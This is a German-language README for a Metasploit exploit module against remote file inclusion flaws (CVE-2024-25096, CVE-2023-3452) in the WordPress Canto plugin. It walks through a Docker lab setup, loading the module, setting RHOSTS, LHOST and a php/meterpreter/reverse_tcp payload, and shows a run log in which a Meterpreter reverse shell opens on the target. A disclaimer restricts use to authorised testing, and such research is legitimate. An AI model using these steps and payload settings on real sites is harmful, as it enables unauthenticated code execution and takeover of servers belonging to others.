
Dies ist ein Metasploit-Exploit-Modul für CVE-2024-25096 und CVE-2023-3452
Dieser Exploit ist ein Proof-of-Work-Exploit der RFI-Schwachstellen CVE-2024-25096 und CVE-2023-3452, die es dem Angreifer ermöglichen, eine interaktive Remote-Shell-Sitzung auf dem Zielsystem zu etablieren.
CVE-2024-25096 missbraucht den abspath-Parameter, der Remote File Inclusion durch die include_once-Anweisung ermöglicht. CVE-2023-3452 folgt demselben Verfahren, außer dass der Parameter „wp_abspath“ Remote File Inclusion durch die require_once-Anweisung ermöglicht. Dies erlaubt dem Angreifer, nicht authentifizierten Code auf dem Zielserver auszuführen.
Obwohl Schwachstellendatenbanken CVE-2023-3452 als Versionen bis 3.0.4 betreffend aufführen, bestätigten Tests, dass die Schwachstelle bis Version 3.0.6 ausnutzbar bleibt. Das Problem wurde in Version 3.0.7 behoben, derselben Version, die auch CVE-2024-25096 behebt.
Für ein verwundbares Ziel gelten folgende Bedingungen:
allow_url_include=On Klonen Sie dieses Repository und laden Sie das Canto-Plugin herunter
Beachten Sie: Wenn Sie eine frühere Version von Canto herunterladen möchten, kopieren Sie einfach den Link und ändern Sie die Versionsnummer im Link auf Ihre bevorzugte Version.
Starten Sie den Container (docker-compose.yaml) mit dem Befehl podman-compose up.
Öffnen Sie http://localhost:8889/wp-admin/install.php in einem Browser Ihrer Wahl und richten Sie ein WordPress-Konto ein.

Nach dem Einloggen können Sie unter dem Tab Plugins -> Add new plugins -> Plugin Upload die Canto-ZIP-Datei auswählen und installieren.

Fügen Sie den Exploit (rce_exploit_cve_2024_25096.rb) zum Metasploit-Modulordner hinzu.
Starten Sie Metasploit (msfconsole) und laden Sie Metasploit neu (reload_all).
Wählen Sie den Payload aus.
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
Setzen Sie die Werte der erforderlichen Variablen
Module options (exploit/rce_exploit_cve_2024_25096):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 yes Port
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false yes Use SSL
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETFILE get.php yes Vulnerable PHP file
TARGETURI /wp-content/plugins/canto yes Path to cantos root directory
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Plugin <= 3.0.6
View the full module info with the info, or info -d command
Führen Sie den Exploit aus und hoffen Sie auf das Beste ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Der Autor ermutigt nicht zu illegalen Aktivitäten und billigt diese nicht. Jegliche Verwendung dieses Codes zum Angriff auf Systeme ohne Erlaubnis ist strikt untersagt.
Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Die Nutzer sind dafür verantwortlich, dass sie alle geltenden Gesetze und Vorschriften einhalten.
Verwenden Sie diesen Code nur in Umgebungen, in denen Sie ausdrückliche Erlaubnis haben, wie Laborumgebungen, Penetrationstest-Aufträgen oder Sicherheitsforschung.